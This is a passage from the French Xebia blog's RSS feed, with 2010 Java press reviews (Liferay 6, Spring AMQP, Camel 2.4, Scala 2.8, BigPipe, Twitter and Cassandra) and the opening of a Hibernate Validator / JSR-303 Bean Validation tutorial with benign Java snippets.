href="http://opensource.atlassian.com/projects/hibernate/browse/HHH-2222" title="ancien bug" >ancien bug</a> sur une incompatibilité de version de la librairie ASM (qui manipule à un niveau plus bas le bytecode) avec celle de Spring et qui mit un an à être corrigé.</p><p>Hibernate à présent privilégiera <a
href="http://jboss.org/javassist" title="Javassist" >Javassist</a>, un projet JBoss (tout comme Hibernate, tiens, tiens&#8230;), aux fonctionnalités similaires mais encore <em>en vie</em>. Reste à savoir si Spring suivra la même démarche.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2010/08/24/revue-de-presse-xebia-173/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2010/07/20/revue-de-presse-xebia-168/</link> <comments>http://blog.xebia.fr/2010/07/20/revue-de-presse-xebia-168/#comments</comments> <pubDate>Tue, 20 Jul 2010 05:41:44 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[AMQP]]></category> <category><![CDATA[BigPipe]]></category> <category><![CDATA[Camel]]></category> <category><![CDATA[Cassandra]]></category> <category><![CDATA[Cloud / NoSQL]]></category> <category><![CDATA[Facebook]]></category> <category><![CDATA[liferay]]></category> <category><![CDATA[Saas]]></category> <category><![CDATA[scala]]></category> <category><![CDATA[Spring]]></category> <category><![CDATA[Tibco]]></category> <category><![CDATA[Twitter]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=5129</guid> <description><![CDATA[La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia. Actualité éditeurs / SSII Du BI en SaaS gratuit pendant un an avec Tibco Sortie de la version 6 du portail open-source Liferay Spring facilite l&#8217;adoption d&#8217;AMQP SOA Sortie d&#8217;Apache Camel 2.4 Le coin de la technique Scala 2.8 enfin finale ! BigPipe : [...]]]></description> <content:encoded><![CDATA[<p><img
style="margin: 1em 1em 1em 1em; float: right;" src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" /></p><p><em>La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p><p><strong>Actualité  éditeurs / SSII</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/07/20/revue-de-presse-xebia-168/#DuBIenSaaSgratuitpendantunanav">Du BI en SaaS gratuit pendant un an avec Tibco</a></li><li><a
href="http://blog.xebia.fr/2010/07/20/revue-de-presse-xebia-168/#Sortiedelaversionduportailopen">Sortie de la version 6 du portail open-source Liferay</a></li><li><a
href="http://blog.xebia.fr/2010/07/20/revue-de-presse-xebia-168/#SpringfaciliteladoptiondAMQP">Spring facilite l&#8217;adoption d&#8217;AMQP</a></li></ul><p><strong>SOA</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/07/20/revue-de-presse-xebia-168/#SortiedApacheCamel">Sortie d&#8217;Apache Camel 2.4</a></li></ul><p><strong>Le coin de la  technique</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/07/20/revue-de-presse-xebia-168/#Scalaenfinfinale">Scala 2.8 enfin finale !</a></li><li><a
href="http://blog.xebia.fr/2010/07/20/revue-de-presse-xebia-168/#BigPipeLoptimisationdutempsdec">BigPipe : L&#8217;optimisation du temps de chargement selon FaceBook</a></li><li><a
href="http://blog.xebia.fr/2010/07/20/revue-de-presse-xebia-168/#TwitterabandonnelestockagesurC">Twitter abandonne le stockage sur Cassandra</a></li></ul><h3><a
name="ActualitditeursSSII"></a>Actualité  éditeurs / SSII</h3><h4><a
name="DuBIenSaaSgratuitpendantunanav"></a>Du BI en SaaS gratuit pendant un an avec Tibco</h4><p>Tibco vient de mettre à disposition sa suite Spotfire Business Intelligence en mode SaaS gratuitement pendant une année.  Cette nouvelle solution permet d&#8217;importer des données depuis diverses sources, telles que les feuilles excel, les bases de données Access, Oracle, &#8230; et de les présenter dans des rapports interactifs, facilitant ainsi leur analyse.</p><p>Spotfire présente deux principaux avantages :</p><ul><li>Le mode SaaS de la solution accélère la construction  des rapports BI et par conséquence leur mise à disposition au business,  en éliminant tout le temps de mise en place des infrastructures habituellement nécessaires pour ce genre de projet.</li></ul><ul><li>L&#8217;autre grande nouveauté mise en avant par l&#8217;éditeur est le côté social de sa solution. L&#8217;utilisateur de Spotfire, pourra partager ses rapports avec ses collaborateurs situés n&#8217;importe où dans le monde pour une plus grande interactivité.</li></ul><p>Plus de détails sur <a
title="le site" href="http://spotfire.tibco.com/silverspotfire/">le site</a> de l&#8217;éditeur.</p><h4><a
name="Sortiedelaversionduportailopen"></a>Sortie de la version 6 du portail open-source Liferay</h4><p><a
title="Brian Chan" href="http://www.liferay.com/about-us/leadership">Brian Chan</a>, fondateur du projet <a
title="Liferay" href="http://www.liferay.com/">Liferay</a>, vient d&#8217;annoncer sur le blog de l&#8217;entreprise <a
title="la sortie de la 6me version" href="http://www.liferay.com/web/brian.chan/blog/-/blogs/liferay-portal-6-ga-released">la sortie de la 6ème version</a> du portail open-source.</p><p>Cette nouvelle version apporte son lot de nouveautés :</p><p><strong>Gestion de contenu :</strong></p><ul><li>Possibilité de partager du contenu entre différentes communautés grâce à l&#8217;ajout d&#8217;un scope Global, et d&#8217;un nouveau portlet d&#8217;administration (<a
title="Asset Publisher Portlet" href="http://www.liferay.com/community/wiki/-/wiki/Main/Asset%20Publisher%20Portlet">Asset Publisher Portlet</a>).</li><li>Utilisation de <a
title="tags et de catgories" href="http://www.liferay.com/community/wiki/-/wiki/Main/Tags%20and%20Categories">tags et de catégories</a> pour une meilleure organisation et une recherche plus précise des informations.</li><li>Gestion de la validation et de la parution des articles à l&#8217;aide d&#8217;un Workflow pouvant s&#8217;appuyer sur <a
title="jBPM 3.0" href="http://jboss.org/jbpm">jBPM 3.0</a>, puis prochainement sur la <a
title="solution BPMS dIntalio" href="http://www.intalio.com/bpms">solution BPMS d&#8217;Intalio</a>.</li></ul><p><strong>Administration du portail :</strong></p><ul><li>Mise en place d&#8217;indicateur JMX pour le monitoring des performances des différents portlets déployés sur le portail.</li><li>Ajout d&#8217;un système d&#8217;audit permettant d&#8217;enregistrer un certain nombre de mesures, pouvant être traitées ultérieurement (Audit Framework).</li><li>Intégration avec les systèmes de reporting <a
title="Jasper Reports" href="http://www.jaspersoft.com/jasperreports">Jasper Reports</a> et <a
title="BIRT" href="http://www.eclipse.org/birt">BIRT</a> à travers le nouveau module Report Engine Framework.</li><li>Simplification de l&#8217;administration du portail grâce à l&#8217;ajout d&#8217;une nouvelle console basée sur l&#8217;exécution de scripts.</li></ul><p><strong>Interfaces utilisateur :</strong></p><ul><li>Ajout d&#8217;un nouveau composant appelé <a
title="Dockbar" href="http://www.liferay.com/community/wiki/-/wiki/Main/Dockbar">Dockbar</a> qui améliore la navigation au sein des différentes communautés du portail.</li><li>Possibilité de créer en un clic une nouvelle communauté ou une nouvelle page, en indiquant simplement le Template de page à utiliser.</li><li>Réorganisation du portlet <a
title="Document Library" href="http://www.liferay.com/community/wiki/-/wiki/Main/Document%20Library%20Portlet">Document Library</a> afin de simplifier la gestion des documents au sein du portail.</li></ul><p><strong>Extension et intégration :</strong></p><ul><li>Ajout du module Generic Asset Framework, permettant d&#8217;interagir simplement avec les Workflows internes du portail ainsi que sur les options de sécurité.</li><li>Intégration avec le framework Web <a
title="Alloy UI" href="http://alloyui.com/">Alloy UI</a>, permettant de créer simplement des interfaces en HTML 5 s&#8217;appuyant sur les standards du W3C.</li><li>Mise en place d&#8217;un framework de script permettant d&#8217;étendre les applications créées en dehors du portail.</li><li>Nouvelle intégration native du portlet Document Library avec les solutions de gestion de documents et notamment <a
title="Documentum" href="http://france.emc.com/products/family/documentum-family.htm">Documentum</a>, ainsi que l&#8217;amélioration de l&#8217;intégration avec <a
title="Sharepoint" href="http://sharepoint.microsoft.com">Sharepoint</a>.</li></ul><p>Avec cette nouvelle version de Liferay Portal, Liferay continu d&#8217;étoffer son offre Portail et montre qu&#8217;il reste parmi les leaders du domaine. L&#8217;intégration avec les outils de BPM, de reporting et de gestion de documents du marché montre la volonté de la société de se diriger de plus en plus vers une solution ouverte et inter-connectée.</p><p>Pour plus d&#8217;information sur les nouveautés :</p><p><a
title="Toutes les nouvelles fonctionnalits de la version 60" href="http://www.liferay.com/community/wiki/-/wiki/Main/New+Features+in+Liferay+Portal+v6.0">Toutes les nouvelles fonctionnalités de la version 6.0</a><br
/> <a
title="La liste des changements sur le JIRA du projet" href="http://issues.liferay.com/browse/LPS/fixforversion/10612">La liste des changements sur le JIRA du projet</a></p><h4><a
name="SpringfaciliteladoptiondAMQP"></a>Spring facilite l&#8217;adoption d&#8217;AMQP</h4><p>Comme on pouvait s&#8217;y attendre avec le <a
title="rachat de RabbitMQ par VMWare" href="http://blog.xebia.fr/2010/04/19/revue-de-presse-xebia-155/#RabbitMQrachetparSpringSource">rachat de RabbitMQ par VMWare</a>, Spring intégre petit à petit des fonctionnalités facilitant l&#8217;adoption d&#8217;<a
title="AMQP" href="http://blog.xebia.fr/2010/02/23/amqp-une-alternative-a-jms/">AMQP</a>.</p><p>Le premier milestone de <a
title="Spring AMQP 100" href="http://www.springsource.org/node/2715">Spring AMQP 1.0.0</a> matérialise cet effort. Un gros point de satisfaction, Spring ne s&#8217;est pas contenté de fournir la partie cliente Java de RabbitMQ mais propose une réelle abstraction du protocole AMQ. Par contre la gestion des versions de la spécification reste un peu flou. Elle semble caler sur la version 0.8 tout en étant compatible avec la 0.9.1.</p><p>La distribution vient avec 4 modules : spring-amqp, spring-rabbit,spring-rabbit-admin et spring-erlang. Ce dernier est le plus inattendu et la <a
title="documentation" href="http://static.springsource.org/spring-amqp/docs/1.0.x/reference/htmlsingle/">documentation</a> semble indiquer que le projet est expérimental. Pour rappel le serveur de RabbitMQ est implémenté en Erlang, un langage très perfomant sur les aspects concurrentiels.</p><p>La documentation, bien qu&#8217;incomplète, a la bonne idée de proposer plusieurs cas d&#8217;utilisation et laisse entrevoir un bon support pour Spring Integration. Cette nouvelle est quoiqu&#8217;il en soit une très bonne nouvelle pour l&#8217;adoption d&#8217;AMQP dans le monde Java. Par ailleurs Spring propose également une version .Net.</p><h3><a
name="SOA"></a>SOA</h3><h4><a
name="SortiedApacheCamel"></a>Sortie d&#8217;Apache Camel 2.4</h4><p>La version 2.4.0 du projet <a
title="Apache Camel" href="http://camel.apache.org/">Apache Camel</a> est mise à disposition moins de 2 mois seulement après la sortie de la version 2.3.0. Elle vient compléter un changelog déjà très fourni sur la version précédente et apporte un certain nombre de corrections, d&#8217;améliorations et de nouveautés:</p><ul><li>Le support d&#8217;OSGI Blueprint via la création d&#8217;un namespace XML adapté permettant de définir des routes Camel. Ce namespace est pour le moment uniquement exploitable via l&#8217;implémentation Blueprint <a
title="'Apache Aries'" href="http://incubator.apache.org/aries/">&#8216;Apache Aries&#8217;</a> utilisée par le projet <a
title="Apache Karaf" href="http://karaf.apache.org/">&#8216;Apache Karaf&#8217;</a>. A noter que la définition d&#8217;errorHandler n&#8217;est pas possible pour le moment.</li></ul><ul><li>Un <a
title="moteur de routage asynchrone" href="http://camel.apache.org/asynchronous-processing.html">moteur de routage asynchrone</a> non bloquant complet: tous les patterns d&#8217;intégration sont supportés ainsi que différents composants: JBI, NMR, CXF, Jetty et Netty.</li><li>La version de Spring utilisée par Camel passe à la 3.0.3 marquant ainsi  la fin du support de la branche 2.0 (La version 2.5 étant encore  supportée). Le support de Spring Security pour sa part change également de version et passe à la 3.0.3.RELEASE.</li></ul><p>La version 2.3.0 proposait déjà de nombreuses améliorations majeures telles que le support des <a
title="Property placeholders" href="http://camel.apache.org/using-propertyplaceholder.html">Property placeholders</a> qui manquaient cruellement, ainsi que le support d&#8217;un nombre conséquent de nouveaux composants (camel-exec, camel-nagios, camel-netty, camel-spring-spring-security, camel-crypto, &#8230;). Le projet Camel devrait à coup sûr continuer à faire parler de lui dans les prochains mois, tout en s&#8217;imposant un peu plus comme un acteur majeur dans le milieu des <a
title="frameworks dintgration" href="http://blog.xebia.fr/2007/12/17/spring-integration-lavenement-des-lightweight-esb/">frameworks d&#8217;intégration</a>.</p><h3><a
name="Lecoindelatechnique"></a>Le coin de la  technique</h3><h4><a
name="Scalaenfinfinale"></a>Scala 2.8 enfin finale !</h4><p>Après plusieurs mois de bêtas et de release candidates, voici enfin venir la toute dernière version de Scala en finale à savoir la 2.8.0 ! Cette version quasi majeure est considérée par beaucoup comme une 3.0 tellement les nouveautés sont nombreuses.</p><p>Au menu : la nouvelle API collection, la spécialisation de type, une nouvelle implémentation des <code>Array</code>, les arguments nommés et par défaut, les <code>Package Objects</code>, le support des continuations ou bien encore le REPL amélioré. Les nouveautés étant nombreuses, je pense que cette nouvelle version mériterait bien son petit article, n&#8217;est-il pas ? <img
src='http://blog.xebia.fr/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /></p><p>La mise à jour de Scala par votre IDE est <a
title="possible" href="http://www.scala-lang.org/node/91#ide_plugins">possible</a>, pour les autres le téléchargement de la distribution se passe par <a
title="ici" href="http://www.scala-lang.org/downloads">ici</a>.</p><h4><a
name="BigPipeLoptimisationdutempsdec"></a>BigPipe : L&#8217;optimisation du temps de chargement selon FaceBook</h4><p>Après les outils Yahoo (YSlow) et Google (Google Speed), c&#8217;est au tour de facebook de sortir de son chapeau une arme secrète pour réduire le temps de chargement des pages. Cette fois la solution est tout autre, ni Sprite CSS, ni JavaScript compacté, il faut paralléliser le chargement des pages par blocs. Avec BigPipe, le serveur envoi un bloc d&#8217;en-tête HTML qui s&#8217;occupe de charger la librairie BigPipe et fournit un template pour positionner les blocs appelés &#8216;pagelet&#8217;. Le serveur va ensuite envoyer toujours dans la même réponse, un bloc JavaScript par pagelet invoquant une méthode de chargement. L&#8217;objet Json fournit en paramètre contient le contenu HTML, l&#8217;URL de la CSS et celle du JavaScript nécessaire. Pendant que le navigateur charge une CSS et affiche un nouveau bloc HTML, le serveur est encore en train d&#8217;injecter ses pagelets.<br
/> Avec ce système, facebook a réussi à réduire le temps de chargement perçu par les utilisateurs. Ils précisent diviser par deux le temps de chargement pour la plupart des navigateurs. A l&#8217;exception de Firefox 3.6 qui n&#8217;a gagné que 22% de temps de chargement.</p><ul><li><a
title="Larticle sur facebook engineering" href="http://www.facebook.com/notes/facebook-engineering/bigpipe-pipelining-web-pages-for-high-performance/389414033919">L&#8217;article sur facebook engineering</a></li><li><a
title="Larticle sur InfoQ" href="http://www.infoq.com/news/2010/07/bigpipe-facebook-optimize">L&#8217;article sur InfoQ</a></li></ul><h4><a
name="TwitterabandonnelestockagesurC"></a>Twitter abandonne le stockage sur Cassandra</h4><p>L&#8217;affaire avait fait grand bruit en février : <a
title="Twitter abandonne MySql pour stocker ses tweets sous Cassandra" href="http://www.informationweek.com/news/software/open_source/showArticle.jhtml?articleID=223100894">Twitter abandonne MySql pour stocker ses tweets sous Cassandra</a>. Cet abandon donnait à Cassandra une légitimé hors des murs de Facebook. Malheureusement, le soufflet vient de brutalement retomber. Twitter fait machine arrière (ou plutot clarifie son propos, car il y a eu <em>incompréhension</em> (sic)) : les tweets sont stockés et continueront à l&#8217;être sous MySql. Cassandra est utilisé au sein de l&#8217;entreprise, mais pour d&#8217;autres besoins (via <a
title="TechCrunch" href="http://techcrunch.com/2010/07/09/twitter-analytics-mysql/">TechCrunch</a>). Il se murmure que Cassandra serait au cœur de la prochaine étape de la monétisation de Twitter, un moteur d&#8217;analyse <em>public</em> en temps réel. Cette utilisation de Cassandra en interne est <a
title="confirme sur le blog de Twitter" href="http://engineering.twitter.com/2010/07/cassandra-at-twitter-today.html">confirmée sur le blog de Twitter</a>.</p><p>Alors, pourquoi ce changement de stratégie ? Nous n&#8217;allons certainement pas hurler avec la meute qui, dès cette annonce a fait fleurir des analyses plus ou moins fantaisistes sur la tenue à la charge de Cassandra, son exploitabilité, et sur tous les défauts que l&#8217;on peut prêter à un tel produit. Nous nous rangeons plutôt du coté de ceux qui pense que le timing est mauvais. Tout d&#8217;abord parce que Twitter subit actuellement de fréquents pic de charge qui entrainent des coupures de service. Cet effet Coupe du monde de football devrait néanmoins commencer à retomber. La continuité de service semble être la priorité actuellement en terme d&#8217;évolutions techniques et architecturales. Ensuite, nous l&#8217;avons déjà évoqué, Twitter entre dans une phase où l&#8217;entreprise tente de monétiser son service. C&#8217;est là aussi, n&#8217;en doutons pas, un poste de développement important, avec de nombreux services à créer et à roder.</p><p>Pour conclure, nous conservons notre confiance à Cassandra. Son abandon par Twitter (sur une fonctionnalité identifiée, celle du stockage des tweets) est une information stratégique d&#8217;importance (MySql garde la confiance d&#8217;un des plus grand <em>stockeur</em> du monde web), mais reste un choix stratégique et pas forcément technique. Nous continuerons donc à suivre avec attention les développements de Cassandra, et du NoSql en général.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2010/07/20/revue-de-presse-xebia-168/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item><title>Bean Validation</title><link>http://blog.xebia.fr/2010/07/15/bean-validation/</link> <comments>http://blog.xebia.fr/2010/07/15/bean-validation/#comments</comments> <pubDate>Thu, 15 Jul 2010 05:36:12 +0000</pubDate> <dc:creator>Guillaume Arnaud</dc:creator> <category><![CDATA[Java / JEE]]></category> <category><![CDATA[Beans Validation]]></category> <category><![CDATA[Hibernate]]></category> <category><![CDATA[Hibernate Validator]]></category> <category><![CDATA[Java EE 6]]></category> <category><![CDATA[JSR-303]]></category> <category><![CDATA[Spring]]></category> <category><![CDATA[Spring MVC]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=5033</guid> <description><![CDATA[Comment valider un bean ? L&#8217;idée de départ, comme toutes les bonnes idées, est très simple. Avant, pour confirmer que des données étaient valides selon certains critères métiers, le développeur pouvait être amené à intervenir sur plusieurs couches. Il pouvait agir, par exemple, sur la couche présentation, en ajoutant du javascript pour contrôler un champ [...]]]></description> <content:encoded><![CDATA[<p>Comment valider un bean ? L&#8217;idée de départ, comme toutes les bonnes idées, est très simple. Avant, pour confirmer que des données étaient valides selon certains critères métiers, le développeur pouvait être amené à intervenir sur plusieurs couches. Il pouvait agir, par exemple, sur la couche présentation, en ajoutant du javascript pour contrôler un champ du formulaire, ou bien ajouter du code de vérification dans la couche DAO avant de persister en base. Cette spécification a eu pour objectif, d&#8217;une part d&#8217;enrichir les entités métiers sur les valeurs que pouvaient prendre ses propriétés, et d&#8217;autre part de fournir un service capable de valider ces entités avec en plus un certain niveau d&#8217;information sur les cas non valides.</p><p>La JSR-303, finalisée en novembre 2009, fournit une standardisation de ces concepts et fait partie de Java EE 6. Emmanuel Bernard étant le <em>spec lead</em> de cette JSR, assez naturellement l&#8217;implémentation <em>Hibernate Validator</em> est devenue celle de référence. C&#8217;est cette dernière qui sera exclusivement évoquée dans cet article.</p><h3><a
name="Conceptsdebase"></a>Concepts de base</h3><p>On étudiera dans cet article la configuration par annotations, mais il reste possible de faire l&#8217;équivalent en fichier xml.</p><h4><a
name="Contraintes"></a>Contraintes</h4><p>Une contrainte est une restriction sur un attribut d&#8217;un bean. Beaucoup sont déjà définies dans la JSR-303, Hibernate Validator en rajoute quelques-unes très utiles et l&#8217;utilisateur peut définir les siennes comme nous le verrons plus loin.</p><p>Voici un exemple pour valider qu&#8217;un attribut est non nul :</p><pre class="brush: java; title: ; notranslate">
public class Personne{
    @NotNull
    private String nom;
    ...
}
</pre><p>Les contraintes peuvent être posées directement sur le champ, sur la propriété par l&#8217;intermédiaire de l&#8217;accesseur ou au niveau de la classe, ce qui nécessite de définir sa propre contrainte. La visibilité du champ n&#8217;a pas d&#8217;importance car il sera introspecté par réflexion mais il ne doit pas être statique.</p><p>Un graphe d&#8217;objets peut être validé dans son ensemble, ou bien plus finement. Si une entité à valider possède une autre entité ayant des contraintes, l&#8217;annotation <code>@Valid</code> permet de contraindre aussi la validation de cette entité. Cerise sur le gâteau, la validation sur une collection fonctionne aussi, tous les éléments de cette collection devant être valides.</p><p>Voici les contraintes standards:</p><table
cellspacing="0" cellpadding="5" style="border: 1px solid black"><tr><td
bgcolor="#663366" style="color: #ffffff; border: 1px solid black"><strong>contrainte</strong></td><td
bgcolor="#663366" style="color: #ffffff; border: 1px solid black"><strong>signification</strong></td><td
bgcolor="#663366" style="color: #ffffff; border: 1px solid black"><strong>types acceptés</strong></td></tr><tr><td
style="border: 1px solid black"><code>@Null</code></td><td
style="border: 1px solid black">L&#8217;élément doit être nul</td><td
style="border: 1px solid black"><code>Object</code></td></tr><tr><td
style="border: 1px solid black"><code>@NotNull</code></td><td
style="border: 1px solid black">L&#8217;élément doit être non nul</td><td
style="border: 1px solid black"><code>Object</code></td></tr><tr><td
style="border: 1px solid black"><code>@AssertTrue</code></td><td
style="border: 1px solid black">L&#8217;élément doit être <code>true</code></td><td
style="border: 1px solid black"><code>boolean</code>, <code>Boolean</code></td></tr><tr><td
style="border: 1px solid black"><code>@AssertFalse</code></td><td
style="border: 1px solid black">L&#8217;élément doit être <code>false</code></td><td
style="border: 1px solid black"><code>boolean</code>, <code>Boolean</code></td></tr><tr><td
style="border: 1px solid black"><code>@Min</code></td><td
style="border: 1px solid black">L&#8217;élément doit être supérieur à la valeur spécifiée dans l&#8217;annotation</td><td
style="border: 1px solid black"><code>BigDecimal</code>, <code>BigInteger</code>, <code>byte</code>, <code>short</code>, <code>int</code>, <code>long</code></td></tr><tr><td
style="border: 1px solid black"><code>@Max</code></td><td
style="border: 1px solid black">L&#8217;élément doit être inférieur à la valeur spécifiée dans l&#8217;annotation</td><td
style="border: 1px solid black"><code>BigDecimal</code>, <code>BigInteger</code>, <code>byte</code>, <code>short</code>, <code>int</code>, <code>long</code></td></tr><tr><td
style="border: 1px solid black"><code>@DecimalMin</code></td><td
style="border: 1px solid black">L&#8217;élément doit être supérieur à la valeur spécifiée dans l&#8217;annotation</td><td
style="border: 1px solid black"><code>BigDecimal</code>, <code>BigInteger</code>, <code>String</code>, <code>byte</code>, <code>short</code>, <code>int</code>, <code>long</code></td></tr><tr><td
style="border: 1px solid black"><code>@DecimalMax</code></td><td
style="border: 1px solid black">L&#8217;élément doit être inférieur à la valeur spécifiée dans l&#8217;annotation</td><td
style="border: 1px solid black"><code>BigDecimal</code>, <code>BigInteger</code>, <code>String</code>, <code>byte</code>, <code>short</code>, <code>int</code>, <code>long</code></td></tr><tr><td
style="border: 1px solid black"><code>@Size</code></td><td
style="border: 1px solid black">L&#8217;élément doit être entre deux tailles spécifiées</td><td
style="border: 1px solid black"><code>String</code>, <code>Collection</code>, <code>Map</code>, <code>Array</code></td></tr><tr><td
style="border: 1px solid black"><code>@Digits</code></td><td
style="border: 1px solid black">L&#8217;élément doit être un nombre compris dans une certaine fenêtre</td><td
style="border: 1px solid black"><code>BigDecimal</code>, <code>BigInteger</code>, <code>String</code>, <code>byte</code>, <code>short</code>, <code>int</code>, <code>long</code></td></tr><tr><td
style="border: 1px solid black"><code>@Past</code></td><td
style="border: 1px solid black">L&#8217;élément doit être une date dans le passé</td><td
style="border: 1px solid black"><code>Date</code>, <code>Calendar</code></td></tr><tr><td
style="border: 1px solid black"><code>@Future</code></td><td
style="border: 1px solid black">L&#8217;élément doit être une date dans le futur</td><td
style="border: 1px solid black"><code>Date</code>, <code>Calendar</code></td></tr><tr><td
style="border: 1px solid black"><code>@Pattern</code></td><td
style="border: 1px solid black">L&#8217;élément doit respecter une expression régulière</td><td
style="border: 1px solid black"><code>String</code></td></tr></table><p>Hibernate Validator ajoute des contraintes intéressantes : <code>@CreditCardNumber</code>, <code>@Email</code>, <code>@NotBlank</code>, <code>@NotEmpty</code>, <code>@Range</code>, <code>@ScriptAssert</code>, <code>@URL</code>. <code>@ScriptAssert</code> est sans doute la plus complexe à mettre en place, elle s&#8217;appuie sur la JSR-223 qui fournit une API pour introduire les langages de script, plus de détails <a
href="http://musingsofaprogrammingaddict.blogspot.com/2010/06/whats-new-in-hibernate-validator-41.html" title="ici" >ici</a>.</p><h4><a
name="Servicedevalidation"></a>Service de validation</h4><p>Pour valider ses entités il faut se munir tout naturellement d&#8217;un validateur, on passe pour cela par une <em>factory</em> fournie par l&#8217;API standard ( <code>javax.validator</code> ) :</p><pre class="brush: java; title: ; notranslate">
ValidatorFactory factory = Validation.buildDefaultValidatorFactory();
Validator validator = factory.getValidator();
</pre><p>Pour récupérer l&#8217;implémentation du validateur, l&#8217;API utilise le <a
href="http://java.sun.com/j2se/1.3/docs/guide/jar/jar.html#Service%20Provider" title="Service Provider" ><em>Service Provider</em></a> de Java. Son fonctionnement est assez simple. Dans le jar contenant l&#8217;implémentation il faut ajouter dans le répertoire <code>META-INF/services</code> un fichier nommé <code>javax.validation.spi.ValidationProvider</code> qui contient le nom de la classe implémentant l&#8217;interface <code>ValidationProvider</code>. Pour Hibernate Validator il s&#8217;agit de la classe <code>HibernateValidator</code>.</p><p>Donc pour résumer, il n&#8217;y a pas de configuration à faire pour spécifier que Hibernate Validator fournira le <code>Validator</code>, il suffit juste d&#8217;ajouter le jar, sauf s&#8217;il existe d&#8217;autres implémentations de l&#8217;API de validation. Dans ce dernier cas, et si on veut être sûr d&#8217;utiliser Hibernate Validator, il est possible de définir le provider explicitement :</p><pre class="brush: java; title: ; notranslate">
ValidatorFactory factory = Validation.byProvider(HibernateValidator.class).configure().buildValidatorFactory();
</pre><p>Ensuite on passe à la validation de nos entités :</p><pre class="brush: java; title: ; notranslate">
Set&lt;ConstraintViolation&lt;Voiture&gt;&gt; constraintViolations = validator.validate(voiture);
</pre><p>On introduit ici l&#8217;objet <code>ConstraintViolation</code>, très riche en informations sur les raisons de la non validation d&#8217;un élément. C&#8217;est cet objet qui va par exemple nous permettre de nous fournir le message associé à l&#8217;erreur. Les méthodes de cette classe :</p><table
cellspacing="0" cellpadding="5" style="border: 1px solid black"><tr><td
bgcolor="#663366" style="color: #ffffff; border: 1px solid black"><strong>méthode</strong></td><td
bgcolor="#663366" style="color: #ffffff; border: 1px solid black"><strong>description</strong></td></tr><tr><td
style="border: 1px solid black"><code>getMessage()</code></td><td
style="border: 1px solid black">Récupère le message interpolé</td></tr><tr><td
style="border: 1px solid black"><code>getMessageTemplate()</code></td><td
style="border: 1px solid black">Récupère le message non-interpolé</td></tr><tr><td
style="border: 1px solid black"><code>getRootBean()</code></td><td
style="border: 1px solid black">L&#8217;objet racine non valide</td></tr><tr><td
style="border: 1px solid black"><code>getLeafBean()</code></td><td
style="border: 1px solid black">Dans le cas où l&#8217;objet à valider contient un autre objet qui se trouve être non valide, ce dernier sera retourné</td></tr><tr><td
style="border: 1px solid black"><code>getRootBeanClass()</code></td><td
style="border: 1px solid black">La classe de l&#8217;objet non valide</td></tr><tr><td
style="border: 1px solid black"><code>getPropertyPath()</code></td><td
style="border: 1px solid black">La propriété de l&#8217;entité qui n&#8217;est pas valide</td></tr><tr><td
style="border: 1px solid black"><code>getInvalidValue()</code></td><td
style="border: 1px solid black">La valeur erronée</td></tr><tr><td
style="border: 1px solid black"><code>getConstraintDescriptor()</code></td><td
style="border: 1px solid black">Un objet contenant des informations sur la contrainte elle-même</td></tr></table><p>C&#8217;est l&#8217;occasion de remarquer que l&#8217;API de validation propose une gestion interne des ressources, on peut soit récupérer le message directement associé à une propriété ( <code>getMessage()</code> ) soit la clé ( <code>getMessageTemplate()</code> ). Dans le chapitre suivant on détaillera davantage la gestion des ressources.</p><p>On peut aussi avoir besoin de ne valider qu&#8217;une sous partie des contraintes d&#8217;une entité ou de rassembler plusieurs des contraintes de plusieurs entités. L&#8217;attribut <code>groups</code> des annotations de contraintes sert à ça. Elle contient une interface (ou une classe, ce qui est moins recommandé) qui sera commune aux contraintes:</p><pre class="brush: java; title: ; notranslate">
public class Facture {
    @Past
    private Date dateCommande;
    @NotNull(groups=PaiementCheck.class)
    private String nomBanque;
    @CreditCardNumber(groups=PaiementCheck.class)
    private String creditCardNumber;
}
public interface PaiementCheck {}
...
    validator.validate(facture, PaiementCheck.class);
...
</pre><h4><a
name="Gestiondesressources"></a>Gestion des ressources</h4><p>A chaque type de contrainte est associé une clé, elle même liée à une propriété. Toutes les contraintes de base ont des messages déjà définis et Hibernate Validator propose même les traductions françaises. Ce message peut être surchargé directement au niveau de la contrainte:</p><pre class="brush: java; title: ; notranslate">
@Min(message=&quot;ce champ doit être supérieur à {value}&quot;)
</pre><p>Grâce aux accolades, on peut accéder aux données de l&#8217;annotation (dans cet exemple à la valeur minimale). On peut <em>échapper</em> les accolades avec .</p><p>Les propriétés sont résolues par l&#8217;intermédiaire de l&#8217;interface <code>MessageInterpolator</code> qui, par défaut, va chercher un fichier <code>ValidationMessages.properties</code> à la racine du classpath. S&#8217;il n&#8217;en trouve pas à la racine il ira chercher celui dans le package <code>org.hibernate.validator</code>. On peut donc ainsi, facilement surcharger les propriétés de Hibernate Validator.</p><p>Il est possible d&#8217;utiliser ses propres <em>resource bundles</em> si on veut par exemple utiliser d&#8217;autres fichiers properties, ou les stocker ailleurs que dans le classpath. Pour cela il faut surcharger l&#8217;implémentation de <code>ResourceBundleLocator</code>. Ci-dessous, un exemple tiré de la <a
href="http://docs.jboss.org/hibernate/stable/validator/reference/en-US/html_single/#example-resource-bundle-locator" title="documentation" >documentation</a>:</p><pre class="brush: java; title: ; notranslate">
HibernateValidatorConfiguration configure = Validation.byProvider(HibernateValidator.class).configure();
ResourceBundleLocator defaultResourceBundleLocator = configure.getDefaultResourceBundleLocator();
ResourceBundleLocator myResourceBundleLocator = new MyCustomResourceBundleLocator(defaultResourceBundleLocator);
configure.messageInterpolator(new ResourceBundleMessageInterpolator(myResourceBundleLocator));
